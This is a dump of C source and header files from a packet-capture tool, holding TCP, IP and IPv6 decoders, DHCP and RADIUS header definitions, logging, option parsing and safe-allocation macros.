4); 78 | 79 | /* source and dest port */ 80 | PACKET->L4.src = tcp->sport; 81 | PACKET->L4.dst = tcp->dport; 82 | 83 | PACKET->L4.len = DECODED_LEN; 84 | PACKET->L4.header = (u_char *)DECODE_DATA; 85 | 86 | if (opt_start < opt_end) { 87 | PACKET->L4.options = opt_start; 88 | PACKET->L4.optlen = opt_end - opt_start; 89 | } else { 90 | PACKET->L4.options = NULL; 91 | PACKET->L4.optlen = 0; 92 | } 93 | 94 | /* this is TCP */ 95 | PACKET->L4.proto = NL_TYPE_TCP; 96 | 97 | /* save the flags */ 98 | PACKET->L4.flags = tcp->flags; 99 | 100 | /* save the seq number */ 101 | PACKET->L4.seq = tcp->seq; 102 | PACKET->L4.ack = tcp->ack; 103 | 104 | /* set up the data pointers */ 105 | PACKET->DATA.data = opt_end; 106 | if (PACKET->L3.payload_len < (u_int32)DECODED_LEN) 107 | return NULL; 108 | PACKET->DATA.len = PACKET->L3.payload_len - DECODED_LEN; 109 | /* HOOK POINT: HOOK_PACKET_TCP */ 110 | hook_point(HOOK_PACKET_TCP, po); 111 | 112 | return NULL; 113 | } 114 | 115 | 116 | /* EOF */ 117 | 118 | // vim:ts=3:expandtab 119 | 120 | -------------------------------------------------------------------------------- /include/dhcp.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: dhcp.h 1149 2009-11-17 09:53:46Z alor $ */ 3 | 4 | #ifndef __DHCP_H 5 | #define __DHCP_H 6 | 7 | /* 8 | * RFC: 2131 9 | * 10 | * 0 1 2 3 11 | * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 12 | * +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 13 | * | op (1) | htype (1) | hlen (1) | hops (1) | 14 | * +---------------+---------------+---------------+---------------+ 15 | * | xid (4) | 16 | * +-------------------------------+-------------------------------+ 17 | * | secs (2) | flags (2) | 18 | * +-------------------------------+-------------------------------+ 19 | * | ciaddr (4) | 20 | * +---------------------------------------------------------------+ 21 | * | yiaddr (4) | 22 | * +---------------------------------------------------------------+ 23 | * | siaddr (4) | 24 | * +---------------------------------------------------------------+ 25 | * | giaddr (4) | 26 | * +---------------------------------------------------------------+ 27 | * | chaddr (16) | 28 | * +---------------------------------------------------------------+ 29 | * | sname (64) | 30 | * +---------------------------------------------------------------+ 31 | * | file (128) | 32 | * +---------------------------------------------------------------+ 33 | * | options (variable) | 34 | * +---------------------------------------------------------------+ 35 | */ 36 | 37 | struct dhcp_header { 38 | u_int8 op; 39 | #define BOOTREQUEST 1 40 | #define BOOTREPLY 2 41 | u_int8 htype; 42 | u_int8 hlen; 43 | u_int8 hops; 44 | u_int32 id; 45 | u_int16 secs; 46 | u_int16 flags; 47 | u_int32 ciaddr; 48 | u_int32 yiaddr; 49 | u_int32 siaddr; 50 | u_int32 giaddr; 51 | u_int8 chaddr[16]; 52 | u_int8 sname[64]; 53 | u_int8 file[128]; 54 | u_int32 magic; 55 | }; 56 | 57 | /* DHCP options */ 58 | enum { 59 | DHCP_MAGIC_COOKIE = 0x63825363, 60 | DHCP_DISCOVER = 0x01, 61 | DHCP_OFFER = 0x02, 62 | DHCP_REQUEST = 0x03, 63 | DHCP_ACK = 0x05, 64 | DHCP_OPT_NETMASK = 0x01, 65 | DHCP_OPT_ROUTER = 0x03, 66 | DHCP_OPT_DNS = 0x06, 67 | DHCP_OPT_DOMAIN = 0x0f, 68 | DHCP_OPT_RQ_ADDR = 0x32, 69 | DHCP_OPT_LEASE_TIME = 0x33, 70 | DHCP_OPT_MSG_TYPE = 0x35, 71 | DHCP_OPT_SRV_ADDR = 0x36, 72 | DHCP_OPT_RENEW_TIME = 0x3a, 73 | DHCP_OPT_CLI_IDENT = 0x3d, 74 | DHCP_OPT_END = 0xff, 75 | DHCP_OPT_MIN_LEN = 0x12c, 76 | }; 77 | 78 | /* functions */ 79 | 80 | extern u_char * dhcp_get_option(u_char opt, u_char *ptr, u_char *end); 81 | 82 | #endif 83 | 84 | /* EOF */ 85 | 86 | // vim:ts=3:expandtab 87 | 88 | 89 | -------------------------------------------------------------------------------- /src/ui.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- user interface stuff 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: ui.c 790 2009-08-03 14:34:04Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | #include 13 | #include 14 | 15 | /* protos... */ 16 | 17 | void ui_msg(const char *fmt, ...); 18 | void ui_error(const char *fmt, ...); 19 | void ui_fatal_error(const char *msg); 20 | 21 | /*******************************************/ 22 | 23 | /* 24 | * the FATAL_MSG error handling function 25 | */ 26 | void ui_error(const char *fmt, ...) 27 | { 28 | va_list ap; 29 | int n; 30 | size_t size = 50; 31 | char *msg; 32 | 33 | /* 34 | * we hope the message is shorter 35 | * than 'size', else realloc it 36 | */ 37 | 38 | SAFE_CALLOC(msg, size, sizeof(char)); 39 | 40 | while (1) { 41 | /* Try to print in the allocated space. */ 42 | va_start(ap, fmt); 43 | n = vsnprintf (msg, size, fmt, ap); 44 | va_end(ap); 45 | 46 | /* If that worked, we have finished. */ 47 | if (n > -1 && (size_t)n < size) 48 | break; 49 | 50 | /* Else try again with more space. */ 51 | if (n > -1) /* glibc 2.1 */ 52 | size = n+1; /* precisely what is needed */ 53 | else /* glibc 2.0 */ 54 | size *= 2; /* twice the old size */ 55 | 56 | SAFE_REALLOC(msg, size); 57 | } 58 | 59 | /* dump the error in the debug file */ 60 | DEBUG_MSG(D_ERROR, "%s", msg); 61 | 62 | /* call the function */ 63 | fprintf(stderr, "\n%s\n", msg); 64 | 65 | /* free the message */ 66 | SAFE_FREE(msg); 67 | } 68 | 69 | 70 | /* 71 | * the FATAL_ERROR error handling function 72 | */ 73 | void ui_fatal_error(const char *msg) 74 | { 75 | /* 76 | * call the function 77 | */ 78 | fprintf(stderr, "\n%s\n\n", msg); 79 | exit(-1); 80 | 81 | } 82 | 83 | 84 | /* 85 | * this fuction enqueues the messages displayed by 86 | * ui_msg_flush() 87 | */ 88 | 89 | void ui_msg(const char *fmt, ...) 90 | { 91 | va_list ap; 92 | char *msg; 93 | int n; 94 | size_t size = 50; 95 | 96 | /* 97 | * we hope the message is shorter 98 | * than 'size', else realloc it 99 | */ 100 | 101 | SAFE_CALLOC(msg, size, sizeof(char)); 102 | 103 | while (1) { 104 | /* Try to print in the allocated space. */ 105 | va_start(ap, fmt); 106 | n = vsnprintf (msg, size, fmt, ap); 107 | va_end(ap); 108 | 109 | /* If that worked, we have finished. */ 110 | if (n > -1 && (size_t)n < size) 111 | break; 112 | 113 | /* Else try again with more space. */ 114 | if (n > -1) /* glibc 2.1 */ 115 | size = n+1; /* precisely what is needed */ 116 | else /* glibc 2.0 */ 117 | size *= 2; /* twice the old size */ 118 | 119 | SAFE_REALLOC(msg, size); 120 | } 121 | 122 | /* save the message in the log */ 123 | DEBUG_MSG(D_INFO, "%s", msg); 124 | 125 | /* print the message */ 126 | if (!GBL_OPTIONS->watchdog) { 127 | fprintf(stdout, "%s", msg); 128 | fflush(stdout); 129 | } 130 | 131 | SAFE_FREE(msg); 132 | } 133 | 134 | 135 | /* EOF */ 136 | 137 | // vim:ts=3:expandtab 138 | 139 | -------------------------------------------------------------------------------- /src/debug.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- log module 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: debug.c 2859 2010-09-13 09:47:00Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | #include 14 | #include 15 | 16 | #include 17 | 18 | #include 19 | #ifdef HAVE_SYS_UTSNAME_H 20 | #include 21 | #ifdef OS_LINUX 22 | #include 23 | #endif 24 | #endif 25 | 26 | /* globals */ 27 | 28 | /* protos */ 29 | 30 | void debug_init(size_t cnt); 31 | void debug_close(void); 32 | void debug_msg(char level, const char *message, ...); 33 | 34 | /**********************************/ 35 | 36 | void debug_init(size_t cnt) 37 | { 38 | #ifdef HAVE_SYS_UTSNAME_H 39 | struct utsname buf; 40 | #endif 41 | 42 | /* open the interface to kernel syslog */ 43 | openlog(GBL_PROGRAM, LOG_PID, LOG_LOCAL4); 44 | 45 | 46 | DEBUG_MSG(D_INFO, "debug_init: Opening logging interface"); 47 | 48 | DEBUG_MSG(D_INFO, "-> %s %s", GBL_PROGRAM, GBL_VERSION); 49 | #ifdef HAVE_SYS_UTSNAME_H 50 | uname(&buf); 51 | DEBUG_MSG(D_INFO, "-> running on %s %s %s", buf.sysname, buf.release, buf.machine); 52 | #endif 53 | #if defined (__GNUC__) && defined (__GNUC_MINOR__) 54 | DEBUG_MSG(D_INFO, "-> compiled with gcc %d.%d (%s)", __GNUC__, __GNUC_MINOR__, GCC_VERSION); 55 | #endif 56 | #if defined (__GLIBC__) && defined (__GLIBC_MINOR__) 57 | DEBUG_MSG(D_INFO, "-> glibc version %d.%d", __GLIBC__, __GLIBC_MINOR__); 58 | #endif 59 | DEBUG_MSG(D_INFO, "-> %s", pcap_lib_version()); 60 | 61 | atexit(debug_close); 62 | } 63 | 64 | 65 | void debug_close(void) 66 | { 67 | DEBUG_MSG(D_INFO, "debug_close: Closing logging interface"); 68 | 69 | /* close the interface to the kernel syslog */ 70 | closelog(); 71 | } 72 | 73 | 74 | void debug_msg(char level, const char *message, ...) 75 | { 76 | va_list ap; 77 | char buf[4096]; 78 | char debug_message[strlen(message) + 64]; 79 | int syslevel = LOG_INFO; 80 | 81 | switch(level) { 82 | case D_VERBOSE: 83 | case D_DEBUG: 84 | syslevel = LOG_DEBUG; 85 | break; 86 | case D_INFO: 87 | syslevel = LOG_INFO; 88 | break; 89 | case D_WARNING: 90 | syslevel = LOG_WARNING; 91 | break; 92 | case D_ERROR: 93 | syslevel = LOG_ERR; 94 | break; 95 | } 96 | 97 | /* don't log if the message is at lower priority */ 98 | if (level > GBL_CONF->log_level) 99 | return; 100 | 101 | snprintf(debug_message, sizeof(debug_message), "[%10s][%08X] %s", my_thread_getname(MY_PTHREAD_SELF), (int)my_thread_getpid(NULL), message); 102 | 103 | va_start(ap, message); 104 | vsprintf(buf, debug_message, ap); 105 | 106 | #ifndef DEBUG 107 | /* add the log to the syslog only in release */ 108 | vsyslog(syslevel, debug_message, ap); 109 | #endif 110 | 111 | va_end(ap); 112 | 113 | #ifdef DEBUG 114 | printf("%s\n", buf); 115 | #endif 116 | 117 | /* add to the log queue */ 118 | if (level == D_INFO) 119 | log_add(RNC_LOG_INFO, buf); 120 | 121 | if (level == D_ERROR) 122 | log_add(RNC_LOG_ERROR, buf); 123 | 124 | } 125 | 126 | 127 | /* EOF */ 128 | 129 | // vim:ts=3:expandtab 130 | 131 | -------------------------------------------------------------------------------- /src/protocols/ip.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- IP decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: ip.c 3553 2011-06-06 14:10:57Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | 14 | /* globals */ 15 | 16 | struct ip_header { 17 | #ifndef WORDS_BIGENDIAN 18 | u_int8 ihl:4; 19 | u_int8 version:4; 20 | #else 21 | u_int8 version:4; 22 | u_int8 ihl:4; 23 | #endif 24 | u_int8 tos; 25 | u_int16 tot_len; 26 | u_int16 id; 27 | u_int16 frag_off; 28 | #define IP_DF 0x4000 29 | #define IP_MF 0x2000 30 | #define IP_FRAG 0x1fff 31 | u_int8 ttl; 32 | u_int8 protocol; 33 | u_int16 csum; 34 | u_int32 saddr; 35 | u_int32 daddr; 36 | /*The options start here. */ 37 | }; 38 | 39 | /* protos */ 40 | 41 | FUNC_DECODER(decode_ip); 42 | void ip_init(void); 43 | 44 | 45 | /*******************************************/ 46 | 47 | /* 48 | * this function is the initializer. 49 | * it adds the entry in the table of registered decoder 50 | */ 51 | 52 | void __init ip_init(void) 53 | { 54 | add_decoder(NET_LAYER, LL_TYPE_IP, decode_ip); 55 | add_decoder(NET_LAYER, LL_TYPE_PPP_IP, decode_ip); 56 | } 57 | 58 | 59 | FUNC_DECODER(decode_ip) 60 | { 61 | FUNC_DECODER_PTR(next_decoder); 62 | struct ip_header *ip; 63 | u_int32 t_len; 64 | 65 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 66 | 67 | ip = (struct ip_header *)DECODE_DATA; 68 | 69 | DECODED_LEN = (u_int32)(ip->ihl * 4); 70 | 71 | /* IP addresses */ 72 | ip_addr_init(&PACKET->L3.src, AF_INET, (u_char *)&ip->saddr); 73 | ip_addr_init(&PACKET->L3.dst, AF_INET, (u_char *)&ip->daddr); 74 | 75 | /* this is needed at upper layer to calculate the tcp payload size */ 76 | t_len = (u_int32) ntohs(ip->tot_len); 77 | if (t_len < (u_int32)DECODED_LEN) 78 | return NULL; 79 | PACKET->L3.payload_len = t_len - DECODED_LEN; 80 | 81 | /* other relevant infos */ 82 | PACKET->L3.header = (u_char *)DECODE_DATA; 83 | PACKET->L3.len = DECODED_LEN; 84 | 85 | /* parse the options */ 86 | if ( (u_int32)(ip->ihl * 4) > sizeof(struct ip_header)) { 87 | PACKET->L3.options = (u_char *)(DECODE_DATA) + sizeof(struct ip_header); 88 | PACKET->L3.optlen = (u_int32)(ip->ihl * 4) - sizeof(struct ip_header); 89 | } else { 90 | PACKET->L3.options = NULL; 91 | PACKET->L3.optlen = 0; 92 | } 93 | 94 | PACKET->L3.proto = htons(LL_TYPE_IP); 95 | PACKET->L3.ttl = ip->ttl; 96 | 97 | /* HOOK POINT: HOOK_PACKET_IP */ 98 | hook_point(HOOK_PACKET_IP, po); 99 | 100 | /* XXX - implement the handling of fragmented packet */ 101 | /* don't process fragmented packets */ 102 | if (ntohs(ip->frag_off) & IP_FRAG || ntohs(ip->frag_off) & IP_MF) 103 | return NULL; 104 | 105 | /* if the packet is directed to the proxy ip, skip it */ 106 | if (!ip_addr_cmp(&PACKET->L3.dst, &GBL_NET->proxy_ip) || !ip_addr_cmp(&PACKET->L3.src, &GBL_NET->proxy_ip)) { 107 | DEBUG_MSG(D_EXCESSIVE, "Packet directed to proxy ip, skipping it"); 108 | return NULL; 109 | } 110 | 111 | /* Jump to next Layer */ 112 | next_decoder = get_decoder(PROTO_LAYER, ip->protocol); 113 | EXECUTE_DECODER(next_decoder); 114 | 115 | return NULL; 116 | } 117 | 118 | 119 | /* EOF */ 120 | 121 | // vim:ts=3:expandtab 122 | 123 | -------------------------------------------------------------------------------- /include/inet.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: inet.h 2653 2010-07-06 07:31:19Z alor $ */ 3 | 4 | #ifndef __INET_H 5 | #define __INET_H 6 | 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | 13 | enum { 14 | NS_IN6ADDRSZ = 16, 15 | NS_INT16SZ = 2, 16 | 17 | ETH_ADDR_LEN = 6, 18 | TR_ADDR_LEN = 6, 19 | FDDI_ADDR_LEN = 6, 20 | MEDIA_ADDR_LEN = 6, 21 | 22 | IP4_ADDR_LEN = 4, 23 | IP6_ADDR_LEN = 16, 24 | MAX_IP_ADDR_LEN = IP6_ADDR_LEN, 25 | 26 | ETH_ASCII_ADDR_LEN = sizeof("ff:ff:ff:ff:ff:ff")+1, 27 | IP4_ASCII_ADDR_LEN = sizeof("255.255.255.255")+1, 28 | IP6_ASCII_ADDR_LEN = sizeof("ffff:ffff:ffff:ffff:ffff:ffff:255.255.255.255")+1, 29 | MAX_ASCII_ADDR_LEN = IP6_ASCII_ADDR_LEN, 30 | }; 31 | 32 | /* 33 | * this structure is used by the program to handle 34 | * an IP packet disregarding its version 35 | */ 36 | struct ip_addr { 37 | u_int16 addr_type; 38 | u_int16 addr_len; 39 | /* this must be aligned in memory */ 40 | u_int8 addr[MAX_IP_ADDR_LEN]; 41 | }; 42 | 43 | int ip_addr_init(struct ip_addr *sa, u_int16 type, u_char *addr); 44 | int ip_addr_cmp(struct ip_addr *sa, struct ip_addr *sb); 45 | int ip_addr_in_range(struct ip_addr *ip, struct ip_addr *sa, struct ip_addr *sb); 46 | int ip_addr_is_zero(struct ip_addr *sa); 47 | 48 | char *ip_addr_ntoa(struct ip_addr *sa, char *dst); 49 | char *mac_addr_ntoa(u_char *mac, char *dst); 50 | int mac_addr_aton(char *str, u_char *mac); 51 | 52 | int inet_valid_ip(const char *string); 53 | 54 | const char *inet_ntop4(const u_char *src, char *dst, size_t size); 55 | const char *inet_ntop6(const u_char *src, char *dst, size_t size); 56 | 57 | /********************/ 58 | 59 | #ifdef WORDS_BIGENDIAN 60 | /* BIG ENDIAN */ 61 | #define phtos(x) ( (u_int16) \ 62 | ((u_int16)*((u_int8 *)x+1)<<8| \ 63 | (u_int16)*((u_int8 *)x+0)<<0) \ 64 | ) 65 | 66 | #define phtol(x) ( (u_int32)*((u_int8 *)x+3)<<24| \ 67 | (u_int32)*((u_int8 *)x+2)<<16| \ 68 | (u_int32)*((u_int8 *)x+1)<<8| \ 69 | (u_int32)*((u_int8 *)x+0)<<0 \ 70 | ) 71 | 72 | #define pntos(x) ( (u_int16) \ 73 | ((u_int16)*((u_int8 *)x+1)<<0| \ 74 | (u_int16)*((u_int8 *)x+0)<<8) \ 75 | ) 76 | 77 | #define pntol(x) ( (u_int32)*((u_int8 *)x+3)<<0| \ 78 | (u_int32)*((u_int8 *)x+2)<<8| \ 79 | (u_int32)*((u_int8 *)x+1)<<16| \ 80 | (u_int32)*((u_int8 *)x+0)<<24 \ 81 | ) 82 | 83 | /* return little endian */ 84 | #define htons_inv(x) (u_int16)(x << 8) | (x >> 8) 85 | 86 | #else 87 | /* LITTLE ENDIAN */ 88 | #define phtos(x) *(u_int16 *)(x) 89 | #define phtol(x) *(u_int32 *)(x) 90 | 91 | #define pntos(x) ntohs(*(u_int16 *)(x)) 92 | #define pntol(x) ntohl(*(u_int32 *)(x)) 93 | 94 | /* return little endian */ 95 | #define htons_inv(x) (u_int16)x 96 | 97 | #endif 98 | 99 | 100 | #define int_ntoa(x) inet_ntoa(*((struct in_addr *)&(x))) 101 | 102 | #define ip_addr_to_int32(x) *(u_int32 *)(x) 103 | 104 | #endif 105 | 106 | 107 | /* EOF */ 108 | 109 | // vim:ts=3:expandtab 110 | 111 | -------------------------------------------------------------------------------- /include/main.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: main.h 2543 2010-06-22 07:43:36Z alor $ */ 3 | 4 | #ifndef __H 5 | #define __H 6 | 7 | #ifdef HAVE_CONFIG_H 8 | #include 9 | #else 10 | // trick for development under macos 11 | #include 12 | #endif 13 | 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | 20 | #if !defined (__USE_GNU) /* for memmem(), strsignal(), etc etc... */ 21 | #define __USE_GNU 22 | #endif 23 | #ifdef OS_SOLARIS 24 | #define _REENTRANT /* for strtok_r() */ 25 | #endif 26 | #include 27 | #if defined (__USE_GNU) 28 | #undef __USE_GNU 29 | #endif 30 | #include 31 | #include 32 | #if !defined (__USE_XOPEN) /* for strptime() */ 33 | #define __USE_XOPEN 34 | #endif 35 | #include 36 | #if defined (__USE_XOPEN) 37 | #undef __USE_XOPEN 38 | #endif 39 | 40 | /* these are often needed... */ 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include <_stdint.h> 46 | #include 47 | #include <_strings.h> 48 | 49 | 50 | /* wrappers for safe memory allocation */ 51 | 52 | #define SAFE_CALLOC(x, n, s) do { \ 53 | x = calloc(n, s); \ 54 | ON_ERROR(x, NULL, "virtual memory exhausted"); \ 55 | } while(0) 56 | 57 | #define SAFE_CALLOC_DEBUG(x, n, s) do { \ 58 | DEBUG_MSG(D_INFO, "%s: calling SAFE_CALLOC [%d bytes requested]", __func__, s); \ 59 | SAFE_CALLOC(x, n, s); \ 60 | } while (0) 61 | 62 | #define SAFE_REALLOC(x, s) do { \ 63 | if (x == NULL) \ 64 | x = calloc(s, 1); \ 65 | else \ 66 | x = realloc(x, s); \ 67 | ON_ERROR(x, NULL, "virtual memory exhausted"); \ 68 | } while(0) 69 | 70 | #define SAFE_STRDUP(x, s) do{ \ 71 | if (s) { \ 72 | x = strdup(s); \ 73 | ON_ERROR(x, NULL, "virtual memory exhausted"); \ 74 | } \ 75 | }while(0) 76 | 77 | #define SAFE_FREE(x) do{ if(x) { free(x); x = NULL; } }while(0) 78 | 79 | #define __init __attribute__ ((constructor)) 80 | 81 | #ifndef __set_errno 82 | #define __set_errno(e) (errno = (e)) 83 | #endif 84 | 85 | #define LOOP for(;;) 86 | 87 | #define EXECUTE(x, ...) do{ if(x != NULL) x( __VA_ARGS__ ); }while(0) 88 | 89 | /* min and max */ 90 | 91 | #ifndef MIN 92 | #define MIN(a, b) (((a) < (b)) ? (a) : (b)) 93 | #endif 94 | #ifndef MAX 95 | #define MAX(a, b) (((a) > (b)) ? (a) : (b)) 96 | #endif 97 | 98 | /* time operation */ 99 | 100 | #define time_sub(a, b, result) do { \ 101 | (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \ 102 | (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \ 103 | if ((result)->tv_usec < 0) { \ 104 | --(result)->tv_sec; \ 105 | (result)->tv_usec += 1000000; \ 106 | } \ 107 | } while (0) 108 | 109 | #define time_add(a, b, result) do { \ 110 | (result)->tv_sec = (a)->tv_sec + (b)->tv_sec; \ 111 | (result)->tv_usec = (a)->tv_usec + (b)->tv_usec; \ 112 | if ((result)->tv_usec >= 1000000) { \ 113 | ++(result)->tv_sec; \ 114 | (result)->tv_usec -= 1000000; \ 115 | } \ 116 | } while (0) 117 | 118 | /* exported by main.c */ 119 | extern void clean_exit(int errcode); 120 | extern void drop_privs(void); 121 | 122 | #endif 123 | 124 | /* EOF */ 125 | 126 | // vim:ts=3:expandtab 127 | 128 | -------------------------------------------------------------------------------- /src/protocols/ip6.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- IPv6 decoder module 3 | 4 | Copyright (c) Alberto Ornaghi 5 | 6 | $Id: ip6.c 2657 2010-07-07 07:18:33Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | 13 | enum { 14 | IP6_HDR_LEN = 40, 15 | }; 16 | 17 | /* globals */ 18 | 19 | struct ip6_header { 20 | #ifndef WORDS_BIGENDIAN 21 | u_int8 version:4; 22 | u_int8 priority:4; 23 | #else 24 | u_int8 priority:4; 25 | u_int8 version:4; 26 | #endif 27 | u_int8 flow_lbl[3]; 28 | u_int16 payload_len; 29 | u_int8 next_hdr; 30 | u_int8 hop_limit; 31 | 32 | u_int8 saddr[IP6_ADDR_LEN]; 33 | u_int8 daddr[IP6_ADDR_LEN]; 34 | 35 | /* OPTIONS MAY FOLLOW */ 36 | }; 37 | 38 | /* protos */ 39 | 40 | FUNC_DECODER(decode_ip6); 41 | void ip6_init(void); 42 | 43 | /*******************************************/ 44 | 45 | /* 46 | * this function is the initializer. 47 | * it adds the entry in the table of registered decoder 48 | */ 49 | 50 | void __init ip6_init(void) 51 | { 52 | //add_decoder(NET_LAYER, LL_TYPE_IP6, decode_ip6); 53 | } 54 | 55 | 56 | FUNC_DECODER(decode_ip6) 57 | { 58 | FUNC_DECODER_PTR(next_decoder); 59 | struct ip6_header *ip6; 60 | int opt; /* -1 means no options defined, if 0 an option is present */ 61 | 62 | DEBUG_MSG(D_EXCESSIVE, "%s", __FUNCTION__); 63 | 64 | /* XXX - not yet supported */ 65 | return NULL; 66 | 67 | ip6 = (struct ip6_header *)DECODE_DATA; 68 | 69 | if (ip6->payload_len == 0) { 70 | DEBUG_MSG(D_DEBUG, "IPv6 jumbogram, Hop-By-Hop header should follow"); 71 | DECODED_LEN = 0; 72 | } else { 73 | DECODED_LEN = ip6->payload_len + IP6_HDR_LEN; 74 | } 75 | 76 | /* IP addresses */ 77 | ip_addr_init(&PACKET->L3.src, AF_INET6, (u_char *)&ip6->saddr); 78 | ip_addr_init(&PACKET->L3.dst, AF_INET6, (u_char *)&ip6->daddr); 79 | 80 | /* this is needed at upper layer to calculate the tcp payload size */ 81 | PACKET->L3.payload_len = ntohs(ip6->payload_len); 82 | 83 | /* other relevant infos */ 84 | PACKET->L3.header = (u_char *)DECODE_DATA; 85 | PACKET->L3.len = DECODED_LEN; 86 | 87 | /* XXX - how IPv6 options work ?? */ 88 | PACKET->L3.options = NULL; 89 | PACKET->L3.optlen = 0; 90 | 91 | PACKET->L3.proto = htons(LL_TYPE_IP6); 92 | PACKET->L3.ttl = ip6->hop_limit; 93 | 94 | /* XXX - implemet checksum check */ 95 | 96 | switch (ip6->next_hdr) { 97 | case 0: 98 | DEBUG_MSG(D_DEBUG, " --> option Hop-By-Hop"); 99 | opt = 0; 100 | break; 101 | case 43: 102 | DEBUG_MSG(D_DEBUG, " --> option Routing"); 103 | opt = 0; 104 | break; 105 | case 44: 106 | DEBUG_MSG(D_DEBUG, " --> option Fragment"); 107 | opt = 0; 108 | break; 109 | case 60: 110 | DEBUG_MSG(D_DEBUG, " --> option Destination"); 111 | opt = 0; 112 | break; 113 | case 59: 114 | DEBUG_MSG(D_DEBUG, " --> option No-Next-Header"); 115 | opt = 0; 116 | break; 117 | default: 118 | opt = -1; 119 | break; 120 | } 121 | 122 | /* if (opt == 0) 123 | return get_decoder(OPT6_LAYER, ip6->next_hdr); 124 | else */ 125 | 126 | /* HOOK POINT: HOOK_PACKET_IP6 */ 127 | hook_point(HOOK_PACKET_IP6, po); 128 | 129 | next_decoder = get_decoder(PROTO_LAYER, ip6->next_hdr); 130 | 131 | EXECUTE_DECODER(next_decoder); 132 | 133 | return NULL; 134 | } 135 | 136 | /* EOF */ 137 | 138 | // vim:ts=3:expandtab 139 | 140 | -------------------------------------------------------------------------------- /src/parser.c: -------------------------------------------------------------------------------- 1 | /* 2 | MODULE -- parsing utilities 3 | 4 | Copyright (C) Alberto Ornaghi 5 | 6 | $Id: parser.c 790 2009-08-03 14:34:04Z alor $ 7 | */ 8 | 9 | #include 10 | #include 11 | 12 | #include 13 | 14 | #ifdef HAVE_GETOPT_H 15 | #include 16 | #else 17 | #include 18 | #endif 19 | 20 | /* protos... */ 21 | 22 | static void usage(void); 23 | void parse_options(int argc, char **argv); 24 | 25 | /*****************************************/ 26 | 27 | static void usage(void) 28 | { 29 | 30 | fprintf(stdout, "\nUsage: %s [OPTIONS] \n", GBL_PROGRAM); 31 | 32 | fprintf(stdout, "\nCapture options:\n"); 33 | fprintf(stdout, " -r, --read read data from pcapfile \n"); 34 | 35 | fprintf(stdout, "\nGeneral options:\n"); 36 | fprintf(stdout, " -w, --watchdog enable the watchdog for the process\n"); 37 | fprintf(stdout, " -S, --Siface use this network interface to sniff\n"); 38 | fprintf(stdout, " -R, --Riface use this network interface for response\n"); 39 | fprintf(stdout, " -a, --config use the alterative config file \n"); 40 | 41 | fprintf(stdout, "\nStandard options:\n"); 42 | fprintf(stdout, " -v, --version prints the version and exit\n"); 43 | fprintf(stdout, " -h, --help this help screen\n"); 44 | 45 | fprintf(stdout, "\n\n"); 46 | 47 | clean_exit(0); 48 | } 49 | 50 | 51 | void parse_options(int argc, char **argv) 52 | { 53 | int c; 54 | 55 | static struct option long_options[] = { 56 | { "help", no_argument, NULL, 'h' }, 57 | { "version", no_argument, NULL, 'v' }, 58 | { "watchdog", no_argument, NULL, 'w' }, 59 | 60 | { "iface", required_argument, NULL, 'i' }, 61 | { "read", required_argument, NULL, 'r' }, 62 | 63 | { "config", required_argument, NULL, 'a' }, 64 | 65 | { 0 , 0 , 0 , 0} 66 | }; 67 | 68 | /* OPTIONS INITIALIZED */ 69 | 70 | optind = 0; 71 | 72 | while ((c = getopt_long (argc, argv, "a:hR:S:r:vw", long_options, (int *)0)) != EOF) { 73 | 74 | switch (c) { 75 | 76 | case 'S': 77 | GBL_OPTIONS->Siface = strdup(optarg); 78 | break; 79 | 80 | case 'R': 81 | GBL_OPTIONS->Riface = strdup(optarg); 82 | break; 83 | 84 | case 'r': 85 | GBL_OPTIONS->read = 1; 86 | GBL_OPTIONS->pcapfile_in = strdup(optarg); 87 | break; 88 | 89 | case 'a': 90 | GBL_CONF->file = strdup(optarg); 91 | break; 92 | 93 | case 'h': 94 | usage(); 95 | break; 96 | 97 | case 'w': 98 | GBL_OPTIONS->watchdog = 1; 99 | break; 100 | 101 | case 'v': 102 | printf("%s %s\n", GBL_PROGRAM, GBL_VERSION); 103 | clean_exit(0); 104 | break; 105 | 106 | case ':': // missing parameter 107 | fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); 108 | clean_exit(-1); 109 | break; 110 | 111 | case '?': // unknown option 112 | fprintf(stdout, "\nTry `%s --help' for more options.\n\n", GBL_PROGRAM); 113 | clean_exit(-1); 114 | break; 115 | } 116 | } 117 | 118 | DEBUG_MSG(D_DEBUG, "parse_options: options parsed"); 119 | 120 | 121 | /* check for other options */ 122 | 123 | if (GBL_OPTIONS->read && GBL_PCAP->filter) 124 | FATAL_ERROR("Cannot read from file and set a filter on interface"); 125 | 126 | DEBUG_MSG(D_DEBUG, "parse_options: options combination looks good"); 127 | 128 | return; 129 | } 130 | 131 | 132 | 133 | /* EOF */ 134 | 135 | // vim:ts=3:expandtab 136 | 137 | -------------------------------------------------------------------------------- /include/radius.h: -------------------------------------------------------------------------------- 1 | 2 | /* $Id: radius.h 1149 2009-11-17 09:53:46Z alor $ */ 3 | 4 | #ifndef __RADIUS_H 5 | #define __RADIUS_H 6 | 7 | /* 8 | * 0 1 2 3 9 | * 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 10 | * 